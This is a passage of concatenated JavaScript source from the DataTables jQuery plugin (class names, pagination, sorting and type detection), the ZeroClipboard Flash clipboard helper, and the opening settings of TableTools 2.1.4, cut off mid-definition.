"sProcessing": "dataTables_processing",
/* Sorting */
"sSortAsc": "sorting_asc",
"sSortDesc": "sorting_desc",
"sSortable": "sorting", /* Sortable in both directions */
"sSortableAsc": "sorting_asc_disabled",
"sSortableDesc": "sorting_desc_disabled",
"sSortableNone": "sorting_disabled",
"sSortColumn": "sorting_", /* Note that an int is postfixed for the sorting order */
"sSortJUIAsc": "",
"sSortJUIDesc": "",
"sSortJUI": "",
"sSortJUIAscAllowed": "",
"sSortJUIDescAllowed": "",
"sSortJUIWrapper": "",
"sSortIcon": "",
/* Scrolling */
"sScrollWrapper": "dataTables_scroll",
"sScrollHead": "dataTables_scrollHead",
"sScrollHeadInner": "dataTables_scrollHeadInner",
"sScrollBody": "dataTables_scrollBody",
"sScrollFoot": "dataTables_scrollFoot",
"sScrollFootInner": "dataTables_scrollFootInner",
/* Misc */
"sFooterTH": "",
"sJUIHeader": "",
"sJUIFooter": ""
} );
$.extend( DataTable.ext.oJUIClasses, DataTable.ext.oStdClasses, {
/* Two buttons buttons */
"sPagePrevEnabled": "fg-button ui-button ui-state-default ui-corner-left",
"sPagePrevDisabled": "fg-button ui-button ui-state-default ui-corner-left ui-state-disabled",
"sPageNextEnabled": "fg-button ui-button ui-state-default ui-corner-right",
"sPageNextDisabled": "fg-button ui-button ui-state-default ui-corner-right ui-state-disabled",
"sPageJUINext": "ui-icon ui-icon-circle-arrow-e",
"sPageJUIPrev": "ui-icon ui-icon-circle-arrow-w",
/* Full numbers paging buttons */
"sPageButton": "fg-button ui-button ui-state-default",
"sPageButtonActive": "fg-button ui-button ui-state-default ui-state-disabled",
"sPageButtonStaticDisabled": "fg-button ui-button ui-state-default ui-state-disabled",
"sPageFirst": "first ui-corner-tl ui-corner-bl",
"sPageLast": "last ui-corner-tr ui-corner-br",
/* Features */
"sPaging": "dataTables_paginate fg-buttonset ui-buttonset fg-buttonset-multi "+
"ui-buttonset-multi paging_", /* Note that the type is postfixed */
/* Sorting */
"sSortAsc": "ui-state-default",
"sSortDesc": "ui-state-default",
"sSortable": "ui-state-default",
"sSortableAsc": "ui-state-default",
"sSortableDesc": "ui-state-default",
"sSortableNone": "ui-state-default",
"sSortJUIAsc": "css_right ui-icon ui-icon-triangle-1-n",
"sSortJUIDesc": "css_right ui-icon ui-icon-triangle-1-s",
"sSortJUI": "css_right ui-icon ui-icon-carat-2-n-s",
"sSortJUIAscAllowed": "css_right ui-icon ui-icon-carat-1-n",
"sSortJUIDescAllowed": "css_right ui-icon ui-icon-carat-1-s",
"sSortJUIWrapper": "DataTables_sort_wrapper",
"sSortIcon": "DataTables_sort_icon",
/* Scrolling */
"sScrollHead": "dataTables_scrollHead ui-state-default",
"sScrollFoot": "dataTables_scrollFoot ui-state-default",
/* Misc */
"sFooterTH": "ui-state-default",
"sJUIHeader": "fg-toolbar ui-toolbar ui-widget-header ui-corner-tl ui-corner-tr ui-helper-clearfix",
"sJUIFooter": "fg-toolbar ui-toolbar ui-widget-header ui-corner-bl ui-corner-br ui-helper-clearfix"
} );
/*
* Variable: oPagination
* Purpose:
* Scope: jQuery.fn.dataTableExt
*/
$.extend( DataTable.ext.oPagination, {
/*
* Variable: two_button
* Purpose: Standard two button (forward/back) pagination
* Scope: jQuery.fn.dataTableExt.oPagination
*/
"two_button": {
/*
* Function: oPagination.two_button.fnInit
* Purpose: Initialise dom elements required for pagination with forward/back buttons only
* Returns: -
* Inputs: object:oSettings - dataTables settings object
* node:nPaging - the DIV which contains this pagination control
* function:fnCallbackDraw - draw function which must be called on update
*/
"fnInit": function ( oSettings, nPaging, fnCallbackDraw )
{
var oLang = oSettings.oLanguage.oPaginate;
var oClasses = oSettings.oClasses;
var fnClickHandler = function ( e ) {
if ( oSettings.oApi._fnPageChange( oSettings, e.data.action ) )
{
fnCallbackDraw( oSettings );
}
};
var sAppend = (!oSettings.bJUI) ?
'<a class="'+oSettings.oClasses.sPagePrevDisabled+'" tabindex="'+oSettings.iTabIndex+'" role="button">'+oLang.sPrevious+'</a>'+
'<a class="'+oSettings.oClasses.sPageNextDisabled+'" tabindex="'+oSettings.iTabIndex+'" role="button">'+oLang.sNext+'</a>'
:
'<a class="'+oSettings.oClasses.sPagePrevDisabled+'" tabindex="'+oSettings.iTabIndex+'" role="button"><span class="'+oSettings.oClasses.sPageJUIPrev+'"></span></a>'+
'<a class="'+oSettings.oClasses.sPageNextDisabled+'" tabindex="'+oSettings.iTabIndex+'" role="button"><span class="'+oSettings.oClasses.sPageJUINext+'"></span></a>';
$(nPaging).append( sAppend );
var els = $('a', nPaging);
var nPrevious = els[0],
nNext = els[1];
oSettings.oApi._fnBindAction( nPrevious, {action: "previous"}, fnClickHandler );
oSettings.oApi._fnBindAction( nNext, {action: "next"}, fnClickHandler );
/* ID the first elements only */
if ( !oSettings.aanFeatures.p )
{
nPaging.id = oSettings.sTableId+'_paginate';
nPrevious.id = oSettings.sTableId+'_previous';
nNext.id = oSettings.sTableId+'_next';
nPrevious.setAttribute('aria-controls', oSettings.sTableId);
nNext.setAttribute('aria-controls', oSettings.sTableId);
}
},
/*
* Function: oPagination.two_button.fnUpdate
* Purpose: Update the two button pagination at the end of the draw
* Returns: -
* Inputs: object:oSettings - dataTables settings object
* function:fnCallbackDraw - draw function to call on page change
*/
"fnUpdate": function ( oSettings, fnCallbackDraw )
{
if ( !oSettings.aanFeatures.p )
{
return;
}
var oClasses = oSettings.oClasses;
var an = oSettings.aanFeatures.p;
var nNode;
/* Loop over each instance of the pager */
for ( var i=0, iLen=an.length ; i<iLen ; i++ )
{
nNode = an[i].firstChild;
if ( nNode )
{
/* Previous page */
nNode.className = ( oSettings._iDisplayStart === 0 ) ?
oClasses.sPagePrevDisabled : oClasses.sPagePrevEnabled;
/* Next page */
nNode = nNode.nextSibling;
nNode.className = ( oSettings.fnDisplayEnd() == oSettings.fnRecordsDisplay() ) ?
oClasses.sPageNextDisabled : oClasses.sPageNextEnabled;
}
}
}
},
/*
* Variable: iFullNumbersShowPages
* Purpose: Change the number of pages which can be seen
* Scope: jQuery.fn.dataTableExt.oPagination
*/
"iFullNumbersShowPages": 5,
/*
* Variable: full_numbers
* Purpose: Full numbers pagination
* Scope: jQuery.fn.dataTableExt.oPagination
*/
"full_numbers": {
/*
* Function: oPagination.full_numbers.fnInit
* Purpose: Initialise dom elements required for pagination with a list of the pages
* Returns: -
* Inputs: object:oSettings - dataTables settings object
* node:nPaging - the DIV which contains this pagination control
* function:fnCallbackDraw - draw function which must be called on update
*/
"fnInit": function ( oSettings, nPaging, fnCallbackDraw )
{
var oLang = oSettings.oLanguage.oPaginate;
var oClasses = oSettings.oClasses;
var fnClickHandler = function ( e ) {
if ( oSettings.oApi._fnPageChange( oSettings, e.data.action ) )
{
fnCallbackDraw( oSettings );
}
};
$(nPaging).append(
'<a tabindex="'+oSettings.iTabIndex+'" class="'+oClasses.sPageButton+" "+oClasses.sPageFirst+'">'+oLang.sFirst+'</a>'+
'<a tabindex="'+oSettings.iTabIndex+'" class="'+oClasses.sPageButton+" "+oClasses.sPagePrevious+'">'+oLang.sPrevious+'</a>'+
'<span></span>'+
'<a tabindex="'+oSettings.iTabIndex+'" class="'+oClasses.sPageButton+" "+oClasses.sPageNext+'">'+oLang.sNext+'</a>'+
'<a tabindex="'+oSettings.iTabIndex+'" class="'+oClasses.sPageButton+" "+oClasses.sPageLast+'">'+oLang.sLast+'</a>'
);
var els = $('a', nPaging);
var nFirst = els[0],
nPrev = els[1],
nNext = els[2],
nLast = els[3];
oSettings.oApi._fnBindAction( nFirst, {action: "first"}, fnClickHandler );
oSettings.oApi._fnBindAction( nPrev, {action: "previous"}, fnClickHandler );
oSettings.oApi._fnBindAction( nNext, {action: "next"}, fnClickHandler );
oSettings.oApi._fnBindAction( nLast, {action: "last"}, fnClickHandler );
/* ID the first elements only */
if ( !oSettings.aanFeatures.p )
{
nPaging.id = oSettings.sTableId+'_paginate';
nFirst.id =oSettings.sTableId+'_first';
nPrev.id =oSettings.sTableId+'_previous';
nNext.id =oSettings.sTableId+'_next';
nLast.id =oSettings.sTableId+'_last';
}
},
/*
* Function: oPagination.full_numbers.fnUpdate
* Purpose: Update the list of page buttons shows
* Returns: -
* Inputs: object:oSettings - dataTables settings object
* function:fnCallbackDraw - draw function to call on page change
*/
"fnUpdate": function ( oSettings, fnCallbackDraw )
{
if ( !oSettings.aanFeatures.p )
{
return;
}
var iPageCount = DataTable.ext.oPagination.iFullNumbersShowPages;
var iPageCountHalf = Math.floor(iPageCount / 2);
var iPages = Math.ceil((oSettings.fnRecordsDisplay()) / oSettings._iDisplayLength);
var iCurrentPage = Math.ceil(oSettings._iDisplayStart / oSettings._iDisplayLength) + 1;
var sList = "";
var iStartButton, iEndButton, i, iLen;
var oClasses = oSettings.oClasses;
var anButtons, anStatic, nPaginateList, nNode;
var an = oSettings.aanFeatures.p;
var fnBind = function (j) {
oSettings.oApi._fnBindAction( this, {"page": j+iStartButton-1}, function(e) {
/* Use the information in the element to jump to the required page */
oSettings.oApi._fnPageChange( oSettings, e.data.page );
fnCallbackDraw( oSettings );
e.preventDefault();
} );
};
/* Pages calculation */
if ( oSettings._iDisplayLength === -1 )
{
iStartButton = 1;
iEndButton = 1;
iCurrentPage = 1;
}
else if (iPages < iPageCount)
{
iStartButton = 1;
iEndButton = iPages;
}
else if (iCurrentPage <= iPageCountHalf)
{
iStartButton = 1;
iEndButton = iPageCount;
}
else if (iCurrentPage >= (iPages - iPageCountHalf))
{
iStartButton = iPages - iPageCount + 1;
iEndButton = iPages;
}
else
{
iStartButton = iCurrentPage - Math.ceil(iPageCount / 2) + 1;
iEndButton = iStartButton + iPageCount - 1;
}
/* Build the dynamic list */
for ( i=iStartButton ; i<=iEndButton ; i++ )
{
sList += (iCurrentPage !== i) ?
'<a tabindex="'+oSettings.iTabIndex+'" class="'+oClasses.sPageButton+'">'+oSettings.fnFormatNumber(i)+'</a>' :
'<a tabindex="'+oSettings.iTabIndex+'" class="'+oClasses.sPageButtonActive+'">'+oSettings.fnFormatNumber(i)+'</a>';
}
/* Loop over each instance of the pager */
for ( i=0, iLen=an.length ; i<iLen ; i++ )
{
nNode = an[i];
if ( !nNode.hasChildNodes() )
{
continue;
}
/* Build up the dynamic list first - html and listeners */
$('span:eq(0)', nNode)
.html( sList )
.children('a').each( fnBind );
/* Update the permanent button's classes */
anButtons = nNode.getElementsByTagName('a');
anStatic = [
anButtons[0], anButtons[1],
anButtons[anButtons.length-2], anButtons[anButtons.length-1]
];
$(anStatic).removeClass( oClasses.sPageButton+" "+oClasses.sPageButtonActive+" "+oClasses.sPageButtonStaticDisabled );
$([anStatic[0], anStatic[1]]).addClass(
(iCurrentPage==1) ?
oClasses.sPageButtonStaticDisabled :
oClasses.sPageButton
);
$([anStatic[2], anStatic[3]]).addClass(
(iPages===0 || iCurrentPage===iPages || oSettings._iDisplayLength===-1) ?
oClasses.sPageButtonStaticDisabled :
oClasses.sPageButton
);
}
}
}
} );
$.extend( DataTable.ext.oSort, {
/*
* text sorting
*/
"string-pre": function ( a )
{
if ( typeof a != 'string' ) {
a = (a !== null && a.toString) ? a.toString() : '';
}
return a.toLowerCase();
},
"string-asc": function ( x, y )
{
return ((x < y) ? -1 : ((x > y) ? 1 : 0));
},
"string-desc": function ( x, y )
{
return ((x < y) ? 1 : ((x > y) ? -1 : 0));
},
/*
* html sorting (ignore html tags)
*/
"html-pre": function ( a )
{
return a.replace( /<.*?>/g, "" ).toLowerCase();
},
"html-asc": function ( x, y )
{
return ((x < y) ? -1 : ((x > y) ? 1 : 0));
},
"html-desc": function ( x, y )
{
return ((x < y) ? 1 : ((x > y) ? -1 : 0));
},
/*
* date sorting
*/
"date-pre": function ( a )
{
var x = Date.parse( a );
if ( isNaN(x) || x==="" )
{
x = Date.parse( "01/01/1970 00:00:00" );
}
return x;
},
"date-asc": function ( x, y )
{
return x - y;
},
"date-desc": function ( x, y )
{
return y - x;
},
/*
* numerical sorting
*/
"numeric-pre": function ( a )
{
return (a=="-" || a==="") ? 0 : a*1;
},
"numeric-asc": function ( x, y )
{
return x - y;
},
"numeric-desc": function ( x, y )
{
return y - x;
}
} );
$.extend( DataTable.ext.aTypes, [
/*
* Function: -
* Purpose: Check to see if a string is numeric
* Returns: string:'numeric' or null
* Inputs: mixed:sText - string to check
*/
function ( sData )
{
/* Allow zero length strings as a number */
if ( typeof sData === 'number' )
{
return 'numeric';
}
else if ( typeof sData !== 'string' )
{
return null;
}
var sValidFirstChars = "0123456789-";
var sValidChars = "0123456789.";
var Char;
var bDecimal = false;
/* Check for a valid first char (no period and allow negatives) */
Char = sData.charAt(0);
if (sValidFirstChars.indexOf(Char) == -1)
{
return null;
}
/* Check all the other characters are valid */
for ( var i=1 ; i<sData.length ; i++ )
{
Char = sData.charAt(i);
if (sValidChars.indexOf(Char) == -1)
{
return null;
}
/* Only allowed one decimal place... */
if ( Char == "." )
{
if ( bDecimal )
{
return null;
}
bDecimal = true;
}
}
return 'numeric';
},
/*
* Function: -
* Purpose: Check to see if a string is actually a formatted date
* Returns: string:'date' or null
* Inputs: string:sText - string to check
*/
function ( sData )
{
var iParse = Date.parse(sData);
if ( (iParse !== null && !isNaN(iParse)) || (typeof sData === 'string' && sData.length === 0) )
{
return 'date';
}
return null;
},
/*
* Function: -
* Purpose: Check to see if a string should be treated as an HTML string
* Returns: string:'html' or null
* Inputs: string:sText - string to check
*/
function ( sData )
{
if ( typeof sData === 'string' && sData.indexOf('<') != -1 && sData.indexOf('>') != -1 )
{
return 'html';
}
return null;
}
] );
// jQuery aliases
$.fn.DataTable = DataTable;
$.fn.dataTable = DataTable;
$.fn.dataTableSettings = DataTable.settings;
$.fn.dataTableExt = DataTable.ext;
// Information about events fired by DataTables - for documentation.
/**
* Draw event, fired whenever the table is redrawn on the page, at the same point as
* fnDrawCallback. This may be useful for binding events or performing calculations when
* the table is altered at all.
* @name DataTable#draw
* @event
* @param {event} e jQuery event object
* @param {object} o DataTables settings object {@link DataTable.models.oSettings}
*/
/**
* Filter event, fired when the filtering applied to the table (using the build in global
* global filter, or column filters) is altered.
* @name DataTable#filter
* @event
* @param {event} e jQuery event object
* @param {object} o DataTables settings object {@link DataTable.models.oSettings}
*/
/**
* Page change event, fired when the paging of the table is altered.
* @name DataTable#page
* @event
* @param {event} e jQuery event object
* @param {object} o DataTables settings object {@link DataTable.models.oSettings}
*/
/**
* Sort event, fired when the sorting applied to the table is altered.
* @name DataTable#sort
* @event
* @param {event} e jQuery event object
* @param {object} o DataTables settings object {@link DataTable.models.oSettings}
*/
/**
* DataTables initialisation complete event, fired when the table is fully drawn,
* including Ajax data loaded, if Ajax data is required.
* @name DataTable#init
* @event
* @param {event} e jQuery event object
* @param {object} oSettings DataTables settings object
* @param {object} json The JSON object request from the server - only
* present if client-side Ajax sourced data is used</li></ol>
*/
/**
* State save event, fired when the table has changed state a new state save is required.
* This method allows modification of the state saving object prior to actually doing the
* save, including addition or other state properties (for plug-ins) or modification
* of a DataTables core property.
* @name DataTable#stateSaveParams
* @event
* @param {event} e jQuery event object
* @param {object} oSettings DataTables settings object
* @param {object} json The state information to be saved
*/
/**
* State load event, fired when the table is loading state from the stored data, but
* prior to the settings object being modified by the saved state - allowing modification
* of the saved state is required or loading of state for a plug-in.
* @name DataTable#stateLoadParams
* @event
* @param {event} e jQuery event object
* @param {object} oSettings DataTables settings object
* @param {object} json The saved state information
*/
/**
* State loaded event, fired when state has been loaded from stored data and the settings
* object has been modified by the loaded data.
* @name DataTable#stateLoaded
* @event
* @param {event} e jQuery event object
* @param {object} oSettings DataTables settings object
* @param {object} json The saved state information
*/
/**
* Processing event, fired when DataTables is doing some kind of processing (be it,
* sort, filter or anything else). Can be used to indicate to the end user that
* there is something happening, or that something has finished.
* @name DataTable#processing
* @event
* @param {event} e jQuery event object
* @param {object} oSettings DataTables settings object
* @param {boolean} bShow Flag for if DataTables is doing processing or not
*/
/**
* Ajax (XHR) event, fired whenever an Ajax request is completed from a request to
* made to the server for new data (note that this trigger is called in fnServerData,
* if you override fnServerData and which to use this event, you need to trigger it in
* you success function).
* @name DataTable#xhr
* @event
* @param {event} e jQuery event object
* @param {object} o DataTables settings object {@link DataTable.models.oSettings}
* @param {object} json JSON returned from the server
*/
/**
* Destroy event, fired when the DataTable is destroyed by calling fnDestroy or passing
* the bDestroy:true parameter in the initialisation object. This can be used to remove
* bound events, added DOM nodes, etc.
* @name DataTable#destroy
* @event
* @param {event} e jQuery event object
* @param {object} o DataTables settings object {@link DataTable.models.oSettings}
*/
}));
}(window, document));
| JavaScript |
// Simple Set Clipboard System
// Author: Joseph Huckaby
var ZeroClipboard_TableTools = {
version: "1.0.4-TableTools2",
clients: {}, // registered upload clients on page, indexed by id
moviePath: '', // URL to movie
nextId: 1, // ID of next movie
$: function(thingy) {
// simple DOM lookup utility function
if (typeof(thingy) == 'string') thingy = document.getElementById(thingy);
if (!thingy.addClass) {
// extend element with a few useful methods
thingy.hide = function() { this.style.display = 'none'; };
thingy.show = function() { this.style.display = ''; };
thingy.addClass = function(name) { this.removeClass(name); this.className += ' ' + name; };
thingy.removeClass = function(name) {
this.className = this.className.replace( new RegExp("\\s*" + name + "\\s*"), " ").replace(/^\s+/, '').replace(/\s+$/, '');
};
thingy.hasClass = function(name) {
return !!this.className.match( new RegExp("\\s*" + name + "\\s*") );
}
}
return thingy;
},
setMoviePath: function(path) {
// set path to ZeroClipboard.swf
this.moviePath = path;
},
dispatch: function(id, eventName, args) {
// receive event from flash movie, send to client
var client = this.clients[id];
if (client) {
client.receiveEvent(eventName, args);
}
},
register: function(id, client) {
// register new client to receive events
this.clients[id] = client;
},
getDOMObjectPosition: function(obj) {
// get absolute coordinates for dom element
var info = {
left: 0,
top: 0,
width: obj.width ? obj.width : obj.offsetWidth,
height: obj.height ? obj.height : obj.offsetHeight
};
if ( obj.style.width != "" )
info.width = obj.style.width.replace("px","");
if ( obj.style.height != "" )
info.height = obj.style.height.replace("px","");
while (obj) {
info.left += obj.offsetLeft;
info.top += obj.offsetTop;
obj = obj.offsetParent;
}
return info;
},
Client: function(elem) {
// constructor for new simple upload client
this.handlers = {};
// unique ID
this.id = ZeroClipboard_TableTools.nextId++;
this.movieId = 'ZeroClipboard_TableToolsMovie_' + this.id;
// register client with singleton to receive flash events
ZeroClipboard_TableTools.register(this.id, this);
// create movie
if (elem) this.glue(elem);
}
};
ZeroClipboard_TableTools.Client.prototype = {
id: 0, // unique ID for us
ready: false, // whether movie is ready to receive events or not
movie: null, // reference to movie object
clipText: '', // text to copy to clipboard
fileName: '', // default file save name
action: 'copy', // action to perform
handCursorEnabled: true, // whether to show hand cursor, or default pointer cursor
cssEffects: true, // enable CSS mouse effects on dom container
handlers: null, // user event handlers
sized: false,
glue: function(elem, title) {
// glue to DOM element
// elem can be ID or actual DOM element object
this.domElement = ZeroClipboard_TableTools.$(elem);
// float just above object, or zIndex 99 if dom element isn't set
var zIndex = 99;
if (this.domElement.style.zIndex) {
zIndex = parseInt(this.domElement.style.zIndex) + 1;
}
// find X/Y position of domElement
var box = ZeroClipboard_TableTools.getDOMObjectPosition(this.domElement);
// create floating DIV above element
this.div = document.createElement('div');
var style = this.div.style;
style.position = 'absolute';
style.left = '0px';
style.top = '0px';
style.width = (box.width) + 'px';
style.height = box.height + 'px';
style.zIndex = zIndex;
if ( typeof title != "undefined" && title != "" ) {
this.div.title = title;
}
if ( box.width != 0 && box.height != 0 ) {
this.sized = true;
}
// style.backgroundColor = '#f00'; // debug
if ( this.domElement ) {
this.domElement.appendChild(this.div);
this.div.innerHTML = this.getHTML( box.width, box.height );
}
},
positionElement: function() {
var box = ZeroClipboard_TableTools.getDOMObjectPosition(this.domElement);
var style = this.div.style;
style.position = 'absolute';
//style.left = (this.domElement.offsetLeft)+'px';
//style.top = this.domElement.offsetTop+'px';
style.width = box.width + 'px';
style.height = box.height + 'px';
if ( box.width != 0 && box.height != 0 ) {
this.sized = true;
} else {
return;
}
var flash = this.div.childNodes[0];
flash.width = box.width;
flash.height = box.height;
},
getHTML: function(width, height) {
// return HTML for movie
var html = '';
var flashvars = 'id=' + this.id +
'&width=' + width +
'&height=' + height;
if (navigator.userAgent.match(/MSIE/)) {
// IE gets an OBJECT tag
var protocol = location.href.match(/^https/i) ? 'https://' : 'http://';
html += '<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="'+protocol+'download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=10,0,0,0" width="'+width+'" height="'+height+'" id="'+this.movieId+'" align="middle"><param name="allowScriptAccess" value="always" /><param name="allowFullScreen" value="false" /><param name="movie" value="'+ZeroClipboard_TableTools.moviePath+'" /><param name="loop" value="false" /><param name="menu" value="false" /><param name="quality" value="best" /><param name="bgcolor" value="#ffffff" /><param name="flashvars" value="'+flashvars+'"/><param name="wmode" value="transparent"/></object>';
}
else {
// all other browsers get an EMBED tag
html += '<embed id="'+this.movieId+'" src="'+ZeroClipboard_TableTools.moviePath+'" loop="false" menu="false" quality="best" bgcolor="#ffffff" width="'+width+'" height="'+height+'" name="'+this.movieId+'" align="middle" allowScriptAccess="always" allowFullScreen="false" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" flashvars="'+flashvars+'" wmode="transparent" />';
}
return html;
},
hide: function() {
// temporarily hide floater offscreen
if (this.div) {
this.div.style.left = '-2000px';
}
},
show: function() {
// show ourselves after a call to hide()
this.reposition();
},
destroy: function() {
// destroy control and floater
if (this.domElement && this.div) {
this.hide();
this.div.innerHTML = '';
var body = document.getElementsByTagName('body')[0];
try { body.removeChild( this.div ); } catch(e) {;}
this.domElement = null;
this.div = null;
}
},
reposition: function(elem) {
// reposition our floating div, optionally to new container
// warning: container CANNOT change size, only position
if (elem) {
this.domElement = ZeroClipboard_TableTools.$(elem);
if (!this.domElement) this.hide();
}
if (this.domElement && this.div) {
var box = ZeroClipboard_TableTools.getDOMObjectPosition(this.domElement);
var style = this.div.style;
style.left = '' + box.left + 'px';
style.top = '' + box.top + 'px';
}
},
clearText: function() {
// clear the text to be copy / saved
this.clipText = '';
if (this.ready) this.movie.clearText();
},
appendText: function(newText) {
// append text to that which is to be copied / saved
this.clipText += newText;
if (this.ready) { this.movie.appendText(newText) ;}
},
setText: function(newText) {
// set text to be copied to be copied / saved
this.clipText = newText;
if (this.ready) { this.movie.setText(newText) ;}
},
setCharSet: function(charSet) {
// set the character set (UTF16LE or UTF8)
this.charSet = charSet;
if (this.ready) { this.movie.setCharSet(charSet) ;}
},
setBomInc: function(bomInc) {
// set if the BOM should be included or not
this.incBom = bomInc;
if (this.ready) { this.movie.setBomInc(bomInc) ;}
},
setFileName: function(newText) {
// set the file name
this.fileName = newText;
if (this.ready) this.movie.setFileName(newText);
},
setAction: function(newText) {
// set action (save or copy)
this.action = newText;
if (this.ready) this.movie.setAction(newText);
},
addEventListener: function(eventName, func) {
// add user event listener for event
// event types: load, queueStart, fileStart, fileComplete, queueComplete, progress, error, cancel
eventName = eventName.toString().toLowerCase().replace(/^on/, '');
if (!this.handlers[eventName]) this.handlers[eventName] = [];
this.handlers[eventName].push(func);
},
setHandCursor: function(enabled) {
// enable hand cursor (true), or default arrow cursor (false)
this.handCursorEnabled = enabled;
if (this.ready) this.movie.setHandCursor(enabled);
},
setCSSEffects: function(enabled) {
// enable or disable CSS effects on DOM container
this.cssEffects = !!enabled;
},
receiveEvent: function(eventName, args) {
// receive event from flash
eventName = eventName.toString().toLowerCase().replace(/^on/, '');
// special behavior for certain events
switch (eventName) {
case 'load':
// movie claims it is ready, but in IE this isn't always the case...
// bug fix: Cannot extend EMBED DOM elements in Firefox, must use traditional function
this.movie = document.getElementById(this.movieId);
if (!this.movie) {
var self = this;
setTimeout( function() { self.receiveEvent('load', null); }, 1 );
return;
}
// firefox on pc needs a "kick" in order to set these in certain cases
if (!this.ready && navigator.userAgent.match(/Firefox/) && navigator.userAgent.match(/Windows/)) {
var self = this;
setTimeout( function() { self.receiveEvent('load', null); }, 100 );
this.ready = true;
return;
}
this.ready = true;
this.movie.clearText();
this.movie.appendText( this.clipText );
this.movie.setFileName( this.fileName );
this.movie.setAction( this.action );
this.movie.setCharSet( this.charSet );
this.movie.setBomInc( this.incBom );
this.movie.setHandCursor( this.handCursorEnabled );
break;
case 'mouseover':
if (this.domElement && this.cssEffects) {
//this.domElement.addClass('hover');
if (this.recoverActive) this.domElement.addClass('active');
}
break;
case 'mouseout':
if (this.domElement && this.cssEffects) {
this.recoverActive = false;
if (this.domElement.hasClass('active')) {
this.domElement.removeClass('active');
this.recoverActive = true;
}
//this.domElement.removeClass('hover');
}
break;
case 'mousedown':
if (this.domElement && this.cssEffects) {
this.domElement.addClass('active');
}
break;
case 'mouseup':
if (this.domElement && this.cssEffects) {
this.domElement.removeClass('active');
this.recoverActive = false;
}
break;
} // switch eventName
if (this.handlers[eventName]) {
for (var idx = 0, len = this.handlers[eventName].length; idx < len; idx++) {
var func = this.handlers[eventName][idx];
if (typeof(func) == 'function') {
// actual function reference
func(this, args);
}
else if ((typeof(func) == 'object') && (func.length == 2)) {
// PHP style object + method, i.e. [myObject, 'myMethod']
func[0][ func[1] ](this, args);
}
else if (typeof(func) == 'string') {
// name of function
window[func](this, args);
}
} // foreach event handler defined
} // user defined handler for event
}
};
| JavaScript |
/*
* File: TableTools.js
* Version: 2.1.4
* Description: Tools and buttons for DataTables
* Author: Allan Jardine (www.sprymedia.co.uk)
* Language: Javascript
* License: GPL v2 or BSD 3 point style
* Project: DataTables
*
* Copyright 2009-2012 Allan Jardine, all rights reserved.
*
* This source file is free software, under either the GPL v2 license or a
* BSD style license, available at:
* http://datatables.net/license_gpl2
* http://datatables.net/license_bsd
*/
/* Global scope for TableTools */
var TableTools;
(function($, window, document) {
/**
* TableTools provides flexible buttons and other tools for a DataTables enhanced table
* @class TableTools
* @constructor
* @param {Object} oDT DataTables instance
* @param {Object} oOpts TableTools options
* @param {String} oOpts.sSwfPath ZeroClipboard SWF path
* @param {String} oOpts.sRowSelect Row selection options - 'none', 'single' or 'multi'
* @param {Function} oOpts.fnPreRowSelect Callback function just prior to row selection
* @param {Function} oOpts.fnRowSelected Callback function just after row selection
* @param {Function} oOpts.fnRowDeselected Callback function when row is deselected
* @param {Array} oOpts.aButtons List of buttons to be used
*/
TableTools = function( oDT, oOpts )
{
/* Santiy check that we are a new instance */
if ( ! this instanceof TableTools )
{
alert( "Warning: TableTools must be initialised with the keyword 'new'" );
}
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* Public class variables
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
/**
* @namespace Settings object which contains customisable information for TableTools instance
*/
this.s = {
/**
* Store 'this' so the instance can be retrieved from the settings object
* @property that
* @type object
* @default this
*/
"that": this,
/**
* DataTables settings objects
* @property dt
* @type object
* @default <i>From the oDT init option</i>
*/
"dt": oDT.fnSettings(),
/**
* @namespace Print specific information
*/
"print": {
/**
* DataTables draw 'start' point before the printing display was shown
* @property saveStart
* @type int
* @default -1
*/
"saveStart": -1,
/**
* DataTables draw 'length' point before the printing display was shown
* @property saveLength
* @type int
* @default -1
*/
"saveLength": -1,
/**
* Page scrolling point before the printing display was shown so it can be restored
* @property saveScroll
* @type int
* @default -1
*/
"saveScroll": -1,
/**
* Wrapped function to end the print display (to maintain scope)
* @property funcEnd
* @type Function
* @default function () {}
*/
"funcEnd": function () {}
},
/**
* A unique ID is assigned to each button in each instance
* @property buttonCounter
* @type int
* @default 0
*/
"buttonCounter": 0,
/**
* @namespace Select rows specific information
*/
"select": {
/**
* Select type - can be 'none', 'single' or 'multi'
* @property type
* @type string
* @default ""
*/
"type": "",
/**
* Array of nodes which are currently selected
* @property selected
* @type array
* @default []
*/
"selected": [],
/**
* Function to run before the selection can take place. Will cancel the select if the
* function returns false
* @property preRowSelect
* @type Function
* @default null
*/
"preRowSelect": null,
/**
* Function to run when a row is selected
* @property postSelected
* @type Function
* @default null
*/
"postSelected": null,
/**
* Function to run when a row is deselected
* @property postDeselected
* @type Function
* @default null
*/
"postDeselected": null,
/**
* Indicate if all rows are selected (needed for server-side processing)
* @property all
* @type boolean
* @default false
*/
"all": false,
/**
* Class name to add to selected TR nodes
* @property selectedClass
* @type String
* @default ""
*/
"selectedClass": ""
},
/**
* Store of the user input customisation object
* @property custom
* @type object
* @default {}
*/
"custom": {},
/**
* SWF movie path
* @property swfPath
* @type string
* @default ""
*/
"swfPath": "",
/**
* Default button set
* @property buttonSet
* @type array
* @default []
*/
"buttonSet": [],
/**
* When there is more than one TableTools instance for a DataTable, there must be a
* master which controls events (row selection etc)
* @property master
* @type boolean
* @default false
*/
"master": false,
/**
* Tag names that are used for creating collections and buttons
* @namesapce
*/
"tags": {}
};
/**
* @namespace Common and useful DOM elements for the class instance
*/
this.dom = {
/**
* DIV element that is create and all TableTools buttons (and their children) put into
* @property container
* @type node
* @default null
*/
"container": null,
/**
* The table node to which TableTools will be applied
* @property table
* @type node
* @default null
*/
"table": null,
/**
* @namespace Nodes used for the print display
*/
"print": {
/**
* Nodes which have been removed from the display by setting them to display none
* @property hidden
* @type array
* @default []
*/
"hidden": [],
/**
* The information display saying telling the user about the print display
* @property message
* @type node
* @default null
*/
"message": null
},
/**
* @namespace Nodes used for a collection display. This contains the currently used collection
*/
"collection": {
/**
* The div wrapper containing the buttons in the collection (i.e. the menu)
* @property collection
* @type node
* @default null
*/
"collection": null,
/**
* Background display to provide focus and capture events
* @property background
* @type node
* @default null
*/
"background": null
}
};
/**
* @namespace Name space for the classes that this TableTools instance will use
* @extends TableTools.classes
*/
